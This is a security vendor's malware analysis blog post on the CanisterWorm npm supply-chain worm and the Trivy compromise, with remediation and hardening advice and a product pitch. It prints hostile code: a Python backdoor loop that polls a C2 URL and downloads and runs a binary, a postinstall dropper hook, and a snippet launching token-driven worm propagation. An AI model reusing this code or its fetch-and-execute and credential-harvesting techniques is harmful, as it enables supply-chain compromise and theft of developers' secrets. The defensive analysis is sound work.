CanisterWorm: How TeamPCP Turned the npm Ecosystem Into a Weapon
LAST UPDATED ON JUNE 03, 2026
Key Takeaways
- In mid-March 2026, TeamPCP compromised Trivy, a widely used Aqua Security vulnerability scanner, and stole npm credentials.
- Stolen credentials fueled CanisterWorm, a self-propagating worm that infected over 60 npm packages within 24 hours.
- CanisterWorm operates in three stages: a Node.js postinstall dropper, a Python backdoor, and a worm propagation script.
- Developers using npm packages in the @emilgroup, @opengov, @teale.io, @leafnoise, @airtm, and @pypestream namespaces may be at risk of compromise.
- Picus Security Validation Platform includes a dedicated CanisterWorm threat simulation (Threat ID 25123) for Linux endpoints.
CanisterWorm is a self-propagating worm first observed in mid-March 2026 that targets and spreads through npm packages.
Within about 48 hours, a threat actor known as TeamPCP conducted one of the boldest attacks ever seen through a supply chain attack in the open-source community.
First, they hacked into Trivy, an open-source scanning tool for finding vulnerabilities built by Aqua Security, and then proceeded to attack multiple npm modules using a worm that spreads itself automatically. This worm was called CanisterWorm by researchers.
This is relevant to you because if you use Trivy within your pipeline, or if your project uses any npm modules in the @emilgroup, @opengov, @teale.io, @leafnoise, @airtm, and @pypestream namespaces, you could be at risk.
In this blog, we will examine the event and the mechanisms used by CanisterWorm. Also, we will show how Picus validates your defenses against this threat.
Who Is TeamPCP?
TeamPCP is simply what the threat actors named themselves: the name can be found in the code of the malware itself and in the repositories they created to carry out the attack (tpcp-docs) [1].
What is known is that TeamPCP consists of skilled hackers with access to the resources and expertise to launch and execute such an aggressive campaign. The threat actors moved swiftly, going from a single compromise of an important security tool to infection by worms in multiple npm packages within less than 24 hours.
The threat actors were even monitoring the publications of security researchers and making changes to their code on the fly. For example, they left taunting comments addressed to the very security researcher whose analysis they had read [2].
|
const SERVICE_NAME = 'pgmon';
if (!BASE64_PAYLOAD) process.exit(0); |
The Trivy Compromise
On March 19, 2026, TeamPCP compromised the Trivy project by Aqua Security. Trivy is a well-known and widely used tool, and compromising it allowed attackers to spread a malicious payload from inside one of the most widely used security scanners.
The attack was complex and involved abusing retained access from a previous, contained incident to commit new files to the main branch in the Trivy GitHub repository, masquerading as legitimate members of the team.
This led to a new version being released (v0.69.4), and the malicious code being uploaded to GitHub Releases, Docker Hub, and AWS ECR repositories.
Once the malware ran on a target machine, the following actions were performed simultaneously:
- Credentials stealing: The malware searched the target environment for all possible credentials: environment variables, SSH keys, credentials for cloud providers, and even Kubernetes secrets, encrypted the found data, and sent it to a typosquat domain (scan.aquasecurtiy[.]org, note the misspelling).
- Persistence: The malware installed itself as a systemd service that could withstand reboot cycles if it found that its target environment was a developer's machine and not a CI/CD runner.
- GitHub Actions hijack: For anyone using malicious trivy-action and setup-trivy GitHub Actions in their workflow, the malware would scan Runner.Worker process's memory and grab all secrets available to CI jobs, such as token, etc.
Although Aqua managed to remove all the malicious files, TeamPCP already had a collection of stolen credentials, including npm tokens.
Almost 24 hours later, precisely on March 20, 2026, TeamPCP used the stolen npm tokens to launch CanisterWorm malware and compromise over 60 npm packages.
Technical Analysis: How CanisterWorm Works
The attack consists of three stages, and each stage passes the infected machine to the next level of the infection chain.
Stage 1: The Dropper (Node.js Postinstall Hook)
Everything starts when a developer runs npm install. The malicious packages include a postinstall entry in their package.json:
|
"scripts": { "postinstall": "node index.js" } |
This way, npm executes threat actors’ JavaScript code right after installing a package.
All code inside the postinstall scripts is wrapped in a try/catch statement, which means that npm install ends silently regardless of whether the execution is successful or not.
When running index.js, the script does two things in parallel: installs a backdoor and harvests credentials for spreading the worm.
During installation, the script decodes a very long Base64 string embedded in the file and writes the decoded content to disk (~/.local/share/pgmon/service.py). Then the script creates a systemd user service for this backdoor (~/.config/systemd/user/pgmon.service) and starts it right away. The Restart setting of the service is set to always, meaning that it restarts on crashes and survives reboots without requiring any root privileges.
Every single artifact is renamed to look like a legit PostgreSQL monitoring tool (pgmon, pglog, .pg_state, respectively).
In order to spread CanisterWorm, the malware harvests npm publish credentials of the victim from various sources, such as ./npmrc, ~/.npmrc, /etc/npmrc files; environment variables like NPM_TOKEN and NPM_TOKENS; output of the command npm config get.
Stage 2: The Python Backdoor
After the installation of this stage of the infection chain, every infected machine continuously pings the C2 server every ~50 minutes. To prevent detection by anti-malware tools, the communication with the server includes a lot of trickery.
The Python backdoor uses only the standard library, so nothing needs to be installed, and there are no suspicious processes involved in malware execution.
Additionally, the malware uses many techniques specifically to bypass automated sandboxing mechanisms:
- Sleeps for 5 minutes before starting any actions, allowing it to bypass most anti-virus sandbox checks
- Pings the server (ICP Canister) every 50 minutes with spoofed browser User-Agent (Mozilla/5.0)
- The canister doesn't serve malware directly. It simply returns a URL as plain text pointing to wherever the binary payload is currently hosted. If the URL points to YouTube (the canister's "dormant" state), the script skips it. The attacker arms the implant by updating the canister to point to a real binary and disarms it by switching back to a YouTube link.
- If the attacker later updates the canister URL, every infected machine silently picks up the new payload on its next polling cycle.
The main logic is given below:
|
C_URL = "REDACTED_C2_SERVER_URL" TARGET = "/tmp/pglog" # The name of the binary file when downloaded
def ping_c2_server(): try: req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'}) with urllib.request.urlopen(...) except: return None
def download_and_execute_binary(url): try: urllib.request.urlretrieve(url, TARGET) os.chmod(TARGET, 0o755) subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True) except: pass
if __name__ == "__main__": time.sleep(300) while True: binary_url = ping_c2_server() if binary_url and "youtube.com" not in binary_url: download_and_execute_binary(binary_url ) time.sleep(3000) |
Stage 3: The Worm (deploy.js)
The last piece of malware, deploy.js, is responsible for the actual propagation mechanism. At the start of the attack, it was a separate program run by TeamPCP using stolen tokens; however, in further waves of CanisterWorm, it got embedded into malware and starts automatically after npm token harvesting.
|
const tokens = findNpmTokens(); if (tokens.length > 0) { // It is executing the deploy.js if tokens are found const deployScript = path.join(__dirname, 'scripts', 'deploy.js'); if (fs.existsSync(deployScript)) { detached: true, stdio: 'ignore', env: { ...process.env, NPM_TOKENS: tokens.join(',') }, }).unref(); } } |
Once deploy.js is started, it tries to execute 3 steps:
- Ping npm /-/whoami using npm token to check if the token is still alive and obtain the corresponding username
- Query all available packages belonging to the specified user using npm search API
- Enumerate all versions of the package, increment the patch version (i.e., 1.54.0 → 1.54.1), replace the contents of index.js with the malicious one, keep the original README, and re-publish the package using the --tag flag.
As a result, anyone who subsequently runs npm install for any of those packages gets the compromised version. If they have npm tokens on their machine, the worm propagates again.
Mitigation & Remediation of CanisterWorm
Mitigation here falls into two categories: cleaning up an existing infection and hardening against future attacks.
If You Think You're Already Infected
1. Kill and remove the backdoor service:
|
systemctl --user stop pgmon systemctl --user disable pgmon |
2. Delete the malware files:
|
rm ~/.config/systemd/user/pgmon.service rm -rf ~/.local/share/pgmon/ rm -f /tmp/pglog /tmp/.pg_state systemctl --user daemon-reload |
3. Rotate every credential that was on the machine, assume they are all compromised:
- Revoke and regenerate any npm tokens
- Rotate AWS, GCP, and Azure keys
- Regenerate SSH keypairs
- Rotate any GitHub tokens or CI secrets
4. Audit your own npm packages for versions you didn't publish. Look for unexpected patch bumps (e.g., you published 1.4.2 but 1.4.3 now exists on the registry). If found, unpublish the compromised version and publish a clean one.
Hardening Against Future Attacks
Always use lock files
Commit package-lock.json to version control and never ignore it. Lock files enforce exact versions and integrity hashes across all environments, making unexpected version changes immediately visible.
Use limited-time scoped npm tokens
Avoid storing long-lived publish tokens in ~/.npmrc or global environment variables. Use short-lived scoped npm tokens.
Use a version adoption cooldown
Since malware is usually discovered and deleted quickly, postponing package adoption (i.e., installing new packages) by a few hours reduces the risk considerably.
How Picus Simulates CanisterWorm Attacks?
We also strongly suggest simulating CanisterWorm Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other malware variants, such as BRICKSTORM, VenomRAT, Chinotto, and Rustonotto, within minutes with a 14-day free trial of the Picus Platform.
Picus Threat Library includes the following threats for the CanisterWorm Attacks:
|
Threat ID |
Threat Name |
Attack Module |
|
25123 |
Canisterworm Malware Campaign |
Linux Endpoint |
Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.
References
[1] R. McCarthy, “Trivy Compromised: Everything You Need to Know about the Latest Supply Chain Attack,” wiz.io. Accessed: Jun. 02, 2026. [Online]. Available: https://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
[2] C. Eriksen, “TeamPCP deploys CanisterWorm on NPM following Trivy compromise.” Accessed: Jun. 02, 2026. [Online]. Available: https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
